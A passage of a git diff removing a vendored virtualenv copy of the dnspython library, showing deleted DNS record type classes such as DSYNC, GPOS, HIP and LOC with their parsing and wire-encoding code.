OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dsbase - - -@dns.immutable.immutable -class DS(dns.rdtypes.dsbase.DSBase): - """DS record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/DSYNC.py b/venv/Lib/site-packages/dns/rdtypes/ANY/DSYNC.py deleted file mode 100644 index e8d1394afe48dad9613c77d1fb4f7d1ea113ae67..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/DSYNC.py +++ /dev/null @@ -1,72 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import struct - -import dns.enum -import dns.exception -import dns.immutable -import dns.rdata -import dns.rdatatype -import dns.rdtypes.util - - -class UnknownScheme(dns.exception.DNSException): - """Unknown DSYNC scheme""" - - -class Scheme(dns.enum.IntEnum): - """DSYNC SCHEME""" - - NOTIFY = 1 - - @classmethod - def _maximum(cls): - return 255 - - @classmethod - def _unknown_exception_class(cls): - return UnknownScheme - - -@dns.immutable.immutable -class DSYNC(dns.rdata.Rdata): - """DSYNC record""" - - # see: draft-ietf-dnsop-generalized-notify - - __slots__ = ["rrtype", "scheme", "port", "target"] - - def __init__(self, rdclass, rdtype, rrtype, scheme, port, target): - super().__init__(rdclass, rdtype) - self.rrtype = self._as_rdatatype(rrtype) - self.scheme = Scheme.make(scheme) - self.port = self._as_uint16(port) - self.target = self._as_name(target) - - def to_text(self, origin=None, relativize=True, **kw): - target = self.target.choose_relativity(origin, relativize) - return ( - f"{dns.rdatatype.to_text(self.rrtype)} {Scheme.to_text(self.scheme)} " - f"{self.port} {target}" - ) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - rrtype = dns.rdatatype.from_text(tok.get_string()) - scheme = Scheme.make(tok.get_string()) - port = tok.get_uint16() - target = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, rrtype, scheme, port, target) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - three_ints = struct.pack("!HBH", self.rrtype, self.scheme, self.port) - file.write(three_ints) - self.target.to_wire(file, None, origin, False) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (rrtype, scheme, port) = parser.get_struct("!HBH") - target = parser.get_name(origin) - return cls(rdclass, rdtype, rrtype, scheme, port, target) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/EUI48.py b/venv/Lib/site-packages/dns/rdtypes/ANY/EUI48.py deleted file mode 100644 index c843be504a05f154e380072243415f800cdaf4cb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/EUI48.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2015 Red Hat, Inc. -# Author: Petr Spacek -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED 'AS IS' AND RED HAT DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.euibase - - -@dns.immutable.immutable -class EUI48(dns.rdtypes.euibase.EUIBase): - """EUI48 record""" - - # see: rfc7043.txt - - byte_len = 6 # 0123456789ab (in hex) - text_len = byte_len * 3 - 1 # 01-23-45-67-89-ab diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/EUI64.py b/venv/Lib/site-packages/dns/rdtypes/ANY/EUI64.py deleted file mode 100644 index f6d7e257e7d5ad7f006fff5543b86cfd2f09ce32..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/EUI64.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2015 Red Hat, Inc. -# Author: Petr Spacek -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED 'AS IS' AND RED HAT DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.euibase - - -@dns.immutable.immutable -class EUI64(dns.rdtypes.euibase.EUIBase): - """EUI64 record""" - - # see: rfc7043.txt - - byte_len = 8 # 0123456789abcdef (in hex) - text_len = byte_len * 3 - 1 # 01-23-45-67-89-ab-cd-ef diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/GPOS.py b/venv/Lib/site-packages/dns/rdtypes/ANY/GPOS.py deleted file mode 100644 index d79f4a0669bb5a6afda6e8621c290d45a932a2d9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/GPOS.py +++ /dev/null @@ -1,126 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -def _validate_float_string(what): - if len(what) == 0: - raise dns.exception.FormError - if what[0] == b"-"[0] or what[0] == b"+"[0]: - what = what[1:] - if what.isdigit(): - return - try: - (left, right) = what.split(b".") - except ValueError: - raise dns.exception.FormError - if left == b"" and right == b"": - raise dns.exception.FormError - if not left == b"" and not left.decode().isdigit(): - raise dns.exception.FormError - if not right == b"" and not right.decode().isdigit(): - raise dns.exception.FormError - - -@dns.immutable.immutable -class GPOS(dns.rdata.Rdata): - """GPOS record""" - - # see: RFC 1712 - - __slots__ = ["latitude", "longitude", "altitude"] - - def __init__(self, rdclass, rdtype, latitude, longitude, altitude): - super().__init__(rdclass, rdtype) - if isinstance(latitude, float) or isinstance(latitude, int): - latitude = str(latitude) - if isinstance(longitude, float) or isinstance(longitude, int): - longitude = str(longitude) - if isinstance(altitude, float) or isinstance(altitude, int): - altitude = str(altitude) - latitude = self._as_bytes(latitude, True, 255) - longitude = self._as_bytes(longitude, True, 255) - altitude = self._as_bytes(altitude, True, 255) - _validate_float_string(latitude) - _validate_float_string(longitude) - _validate_float_string(altitude) - self.latitude = latitude - self.longitude = longitude - self.altitude = altitude - flat = self.float_latitude - if flat < -90.0 or flat > 90.0: - raise dns.exception.FormError("bad latitude") - flong = self.float_longitude - if flong < -180.0 or flong > 180.0: - raise dns.exception.FormError("bad longitude") - - def to_text(self, origin=None, relativize=True, **kw): - return ( - f"{self.latitude.decode()} {self.longitude.decode()} " - f"{self.altitude.decode()}" - ) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - latitude = tok.get_string() - longitude = tok.get_string() - altitude = tok.get_string() - return cls(rdclass, rdtype, latitude, longitude, altitude) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.latitude) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.latitude) - l = len(self.longitude) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.longitude) - l = len(self.altitude) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.altitude) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - latitude = parser.get_counted_bytes() - longitude = parser.get_counted_bytes() - altitude = parser.get_counted_bytes() - return cls(rdclass, rdtype, latitude, longitude, altitude) - - @property - def float_latitude(self): - "latitude as a floating point value" - return float(self.latitude) - - @property - def float_longitude(self): - "longitude as a floating point value" - return float(self.longitude) - - @property - def float_altitude(self): - "altitude as a floating point value" - return float(self.altitude) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/HINFO.py b/venv/Lib/site-packages/dns/rdtypes/ANY/HINFO.py deleted file mode 100644 index 06ad3487cf8c37a48f4ab53240986287798b9e79..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/HINFO.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class HINFO(dns.rdata.Rdata): - """HINFO record""" - - # see: RFC 1035 - - __slots__ = ["cpu", "os"] - - def __init__(self, rdclass, rdtype, cpu, os): - super().__init__(rdclass, rdtype) - self.cpu = self._as_bytes(cpu, True, 255) - self.os = self._as_bytes(os, True, 255) - - def to_text(self, origin=None, relativize=True, **kw): - return f'"{dns.rdata._escapify(self.cpu)}" "{dns.rdata._escapify(self.os)}"' - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - cpu = tok.get_string(max_length=255) - os = tok.get_string(max_length=255) - return cls(rdclass, rdtype, cpu, os) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.cpu) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.cpu) - l = len(self.os) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.os) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - cpu = parser.get_counted_bytes() - os = parser.get_counted_bytes() - return cls(rdclass, rdtype, cpu, os) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/HIP.py b/venv/Lib/site-packages/dns/rdtypes/ANY/HIP.py deleted file mode 100644 index dc7948a1f5c7e180a9b6ca1715cbb1c2fc3bcba2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/HIP.py +++ /dev/null @@ -1,85 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2010, 2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import binascii -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.rdatatype - - -@dns.immutable.immutable -class HIP(dns.rdata.Rdata): - """HIP record""" - - # see: RFC 5205 - - __slots__ = ["hit", "algorithm", "key", "servers"] - - def __init__(self, rdclass, rdtype, hit, algorithm, key, servers): - super().__init__(rdclass, rdtype) - self.hit = self._as_bytes(hit, True, 255) - self.algorithm = self._as_uint8(algorithm) - self.key = self._as_bytes(key, True) - self.servers = self._as_tuple(servers, self._as_name) - - def to_text(self, origin=None, relativize=True, **kw): - hit = binascii.hexlify(self.hit).decode() - key = base64.b64encode(self.key).replace(b"\n", b"").decode() - text = "" - servers = [] - for server in self.servers: - servers.append(server.choose_relativity(origin, relativize)) - if len(servers) > 0: - text += " " + " ".join(x.to_unicode() for x in servers) - return f"{self.algorithm} {hit} {key}{text}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_uint8() - hit = binascii.unhexlify(tok.get_string().encode()) - key = base64.b64decode(tok.get_string().encode()) - servers = [] - for token in tok.get_remaining(): - server = tok.as_name(token, origin, relativize, relativize_to) - servers.append(server) - return cls(rdclass, rdtype, hit, algorithm, key, servers) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - lh = len(self.hit) - lk = len(self.key) - file.write(struct.pack("!BBH", lh, self.algorithm, lk)) - file.write(self.hit) - file.write(self.key) - for server in self.servers: - server.to_wire(file, None, origin, False) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (lh, algorithm, lk) = parser.get_struct("!BBH") - hit = parser.get_bytes(lh) - key = parser.get_bytes(lk) - servers = [] - while parser.remaining() > 0: - server = parser.get_name(origin) - servers.append(server) - return cls(rdclass, rdtype, hit, algorithm, key, servers) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/ISDN.py b/venv/Lib/site-packages/dns/rdtypes/ANY/ISDN.py deleted file mode 100644 index 6428a0a822f1808f3997a3253d24b815e56a21ec..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/ISDN.py +++ /dev/null @@ -1,78 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class ISDN(dns.rdata.Rdata): - """ISDN record""" - - # see: RFC 1183 - - __slots__ = ["address", "subaddress"] - - def __init__(self, rdclass, rdtype, address, subaddress): - super().__init__(rdclass, rdtype) - self.address = self._as_bytes(address, True, 255) - self.subaddress = self._as_bytes(subaddress, True, 255) - - def to_text(self, origin=None, relativize=True, **kw): - if self.subaddress: - return ( - f'"{dns.rdata._escapify(self.address)}" ' - f'"{dns.rdata._escapify(self.subaddress)}"' - ) - else: - return f'"{dns.rdata._escapify(self.address)}"' - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_string() - tokens = tok.get_remaining(max_tokens=1) - if len(tokens) >= 1: - subaddress = tokens[0].unescape().value - else: - subaddress = "" - return cls(rdclass, rdtype, address, subaddress) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.address) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.address) - l = len(self.subaddress) - if l > 0: - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.subaddress) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_counted_bytes() - if parser.remaining() > 0: - subaddress = parser.get_counted_bytes() - else: - subaddress = b"" - return cls(rdclass, rdtype, address, subaddress) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/L32.py b/venv/Lib/site-packages/dns/rdtypes/ANY/L32.py deleted file mode 100644 index f51e5c790bfd74c88d3c82acb80da66eaa0bd07e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/L32.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import struct - -import dns.immutable -import dns.ipv4 -import dns.rdata - - -@dns.immutable.immutable -class L32(dns.rdata.Rdata): - """L32 record""" - - # see: rfc6742.txt - - __slots__ = ["preference", "locator32"] - - def __init__(self, rdclass, rdtype, preference, locator32): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - self.locator32 = self._as_ipv4_address(locator32) - - def to_text(self, origin=None, relativize=True, **kw): - return f"{self.preference} {self.locator32}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - nodeid = tok.get_identifier() - return cls(rdclass, rdtype, preference, nodeid) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!H", self.preference)) - file.write(dns.ipv4.inet_aton(self.locator32)) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - locator32 = parser.get_remaining() - return cls(rdclass, rdtype, preference, locator32) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/L64.py b/venv/Lib/site-packages/dns/rdtypes/ANY/L64.py deleted file mode 100644 index a47da19e186cabbe5860909243ee9106ad362223..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/L64.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import struct - -import dns.immutable -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class L64(dns.rdata.Rdata): - """L64 record""" - - # see: rfc6742.txt - - __slots__ = ["preference", "locator64"] - - def __init__(self, rdclass, rdtype, preference, locator64): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - if isinstance(locator64, bytes): - if len(locator64) != 8: - raise ValueError("invalid locator64") - self.locator64 = dns.rdata._hexify(locator64, 4, b":") - else: - dns.rdtypes.util.parse_formatted_hex(locator64, 4, 4, ":") - self.locator64 = locator64 - - def to_text(self, origin=None, relativize=True, **kw): - return f"{self.preference} {self.locator64}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - locator64 = tok.get_identifier() - return cls(rdclass, rdtype, preference, locator64) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!H", self.preference)) - file.write(dns.rdtypes.util.parse_formatted_hex(self.locator64, 4, 4, ":")) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - locator64 = parser.get_remaining() - return cls(rdclass, rdtype, preference, locator64) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/LOC.py b/venv/Lib/site-packages/dns/rdtypes/ANY/LOC.py deleted file mode 100644 index 6c7fe5e792d1889dec6cb1dcb325f5a19fc4e4d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/LOC.py +++ /dev/null @@ -1,347 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata - -_pows = tuple(10**i for i in range(0, 11)) - -# default values are in centimeters -_default_size = 100.0 -_default_hprec = 1000000.0 -_default_vprec = 1000.0 - -# for use by from_wire() -_MAX_LATITUDE = 0x80000000 + 90 * 3600000 -_MIN_LATITUDE = 0x80000000 - 90 * 3600000 -_MAX_LONGITUDE = 0x80000000 + 180 * 3600000 -_MIN_LONGITUDE = 0x80000000 - 180 * 3600000 - - -def _exponent_of(what, desc): - if what == 0: - return 0 - exp = None - for i, pow in enumerate(_pows): - if what < pow: - exp = i - 1 - break - if exp is None or exp < 0: - raise dns.exception.SyntaxError(f"{desc} value out of bounds") - return exp - - -def _float_to_tuple(what): - if what < 0: - sign = -1 - what *= -1 - else: - sign = 1 - what = round(what * 3600000) - degrees = int(what // 3600000) - what -= degrees * 3600000 - minutes = int(what // 60000) - what -= minutes * 60000 - seconds = int(what // 1000) - what -= int(seconds * 1000) - what = int(what) - return (degrees, minutes, seconds, what, sign) - - -def _tuple_to_float(what): - value = float(what[0]) - value += float(what[1]) / 60.0 - value += float(what[2]) / 3600.0 - value += float(what[3]) / 3600000.0 - return float(what[4]) * value - - -def _encode_size(what, desc): - what = int(what) - exponent = _exponent_of(what, desc) & 0xF - base = what // pow(10, exponent) & 0xF - return base * 16 + exponent - - -def _decode_size(what, desc): - exponent = what & 0x0F - if exponent > 9: - raise dns.exception.FormError(f"bad {desc} exponent") - base = (what & 0xF0) >> 4 - if base > 9: - raise dns.exception.FormError(f"bad {desc} base") - return base * pow(10, exponent) - - -def _check_coordinate_list(value, low, high): - if value[0] < low or value[0] > high: - raise ValueError(f"not in range [{low}, {high}]") - if value[1] < 0 or value[1] > 59: - raise ValueError("bad minutes value") - if value[2] < 0 or value[2] > 59: - raise ValueError("bad seconds value") - if value[3] < 0 or value[3] > 999: - raise ValueError("bad milliseconds value") - if value[4] != 1 and value[4] != -1: - raise ValueError("bad hemisphere value") - - -@dns.immutable.immutable -class LOC(dns.rdata.Rdata): - """LOC record""" - - # see: RFC 1876 - - __slots__ = [ - "latitude", - "longitude", - "altitude", - "size", - "horizontal_precision", - "vertical_precision", - ] - - def __init__( - self, - rdclass, - rdtype, - latitude, - longitude, - altitude, - size=_default_size, - hprec=_default_hprec, - vprec=_default_vprec, - ): - """Initialize a LOC record instance. - - The parameters I{latitude} and I{longitude} may be either a 4-tuple - of integers specifying (degrees, minutes, seconds, milliseconds), - or they may be floating point values specifying the number of - degrees. The other parameters are floats. Size, horizontal precision, - and vertical precision are specified in centimeters.""" - - super().__init__(rdclass, rdtype) - if isinstance(latitude, int): - latitude = float(latitude) - if isinstance(latitude, float): - latitude = _float_to_tuple(latitude) - _check_coordinate_list(latitude, -90, 90) - self.latitude = tuple(latitude) # pyright: ignore - if isinstance(longitude, int): - longitude = float(longitude) - if isinstance(longitude, float): - longitude = _float_to_tuple(longitude) - _check_coordinate_list(longitude, -180, 180) - self.longitude = tuple(longitude) # pyright: ignore - self.altitude = float(altitude) - self.size = float(size) - self.horizontal_precision = float(hprec) - self.vertical_precision = float(vprec) - - def to_text(self, origin=None, relativize=True, **kw): - if self.latitude[4] > 0: - lat_hemisphere = "N" - else: - lat_hemisphere = "S" - if self.longitude[4] > 0: - long_hemisphere = "E" - else: - long_hemisphere = "W" - text = ( - f"{self.latitude[0]} {self.latitude[1]} " - f"{self.latitude[2]}.{self.latitude[3]:03d} {lat_hemisphere} " - f"{self.longitude[0]} {self.longitude[1]} " - f"{self.longitude[2]}.{self.longitude[3]:03d} {long_hemisphere} " - f"{(self.altitude / 100.0):0.2f}m" - ) - - # do not print default values - if ( - self.size != _default_size - or self.horizontal_precision != _default_hprec - or self.vertical_precision != _default_vprec - ): - text += ( - f" {self.size / 100.0:0.2f}m {self.horizontal_precision / 100.0:0.2f}m" - f" {self.vertical_precision / 100.0:0.2f}m" - ) - return text - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - latitude = [0, 0, 0, 0, 1] - longitude = [0, 0, 0, 0, 1] - size = _default_size - hprec = _default_hprec - vprec = _default_vprec - - latitude[0] = tok.get_int() - t = tok.get_string() - if t.isdigit(): - latitude[1] = int(t) - t = tok.get_string() - if "." in t: - (seconds, milliseconds) = t.split(".") - if not seconds.isdigit(): - raise dns.exception.SyntaxError("bad latitude seconds value") - latitude[2] = int(seconds) - l = len(milliseconds) - if l == 0 or l > 3 or not milliseconds.isdigit(): - raise dns.exception.SyntaxError("bad latitude milliseconds value") - if l == 1: - m = 100 - elif l == 2: - m = 10 - else: - m = 1 - latitude[3] = m * int(milliseconds) - t = tok.get_string() - elif t.isdigit(): - latitude[2] = int(t) - t = tok.get_string() - if t == "S": - latitude[4] = -1 - elif t != "N": - raise dns.exception.SyntaxError("bad latitude hemisphere value") - - longitude[0] = tok.get_int() - t = tok.get_string() - if t.isdigit(): - longitude[1] = int(t) - t = tok.get_string() - if "." in t: - (seconds, milliseconds) = t.split(".") - if not seconds.isdigit(): - raise dns.exception.SyntaxError("bad longitude seconds value") - longitude[2] = int(seconds) - l = len(milliseconds) - if l == 0 or l > 3 or not milliseconds.isdigit(): - raise dns.exception.SyntaxError("bad longitude milliseconds value") - if l == 1: - m = 100 - elif l == 2: - m = 10 - else: - m = 1 - longitude[3] = m * int(milliseconds) - t = tok.get_string() - elif t.isdigit(): - longitude[2] = int(t) - t = tok.get_string() - if t == "W": - longitude[4] = -1 - elif t != "E": - raise dns.exception.SyntaxError("bad longitude hemisphere value") - - t = tok.get_string() - if t[-1] == "m": - t = t[0:-1] - altitude = float(t) * 100.0 # m -> cm - - tokens = tok.get_remaining(max_tokens=3) - if len(tokens) >= 1: - value = tokens[0].unescape().value - if value[-1] == "m": - value = value[0:-1] - size = float(value) * 100.0 # m -> cm - if len(tokens) >= 2: - value = tokens[1].unescape().value - if value[-1] == "m": - value = value[0:-1] - hprec = float(value) * 100.0 # m -> cm - if len(tokens) >= 3: - value = tokens[2].unescape().value - if value[-1] == "m": - value = value[0:-1] - vprec = float(value) * 100.0 # m -> cm - - # Try encoding these now so we raise if they are bad - _encode_size(size, "size") - _encode_size(hprec, "horizontal precision") - _encode_size(vprec, "vertical precision") - - return cls(rdclass, rdtype, latitude, longitude, altitude, size, hprec, vprec) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - milliseconds = ( - self.latitude[0] * 3600000 - + self.latitude[1] * 60000 - + self.latitude[2] * 1000 - + self.latitude[3] - ) * self.latitude[4] - latitude = 0x80000000 + milliseconds - milliseconds = ( - self.longitude[0] * 3600000 - + self.longitude[1] * 60000 - + self.longitude[2] * 1000 - + self.longitude[3] - ) * self.longitude[4] - longitude = 0x80000000 + milliseconds - altitude = int(self.altitude) + 10000000 - size = _encode_size(self.size, "size") - hprec = _encode_size(self.horizontal_precision, "horizontal precision") - vprec = _encode_size(self.vertical_precision, "vertical precision") - wire = struct.pack( - "!BBBBIII", 0, size, hprec, vprec, latitude, longitude, altitude - ) - file.write(wire) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - ( - version, - size, - hprec, - vprec, - latitude, - longitude, - altitude, - ) = parser.get_struct("!BBBBIII") - if version != 0: - raise dns.exception.FormError("LOC version not zero") - if latitude < _MIN_LATITUDE or latitude > _MAX_LATITUDE: - raise dns.exception.FormError("bad latitude") - if latitude > 0x80000000: - latitude = (latitude - 0x80000000) / 3600000 - else: - latitude = -1 * (0x80000000 - latitude) / 3600000 - if longitude < 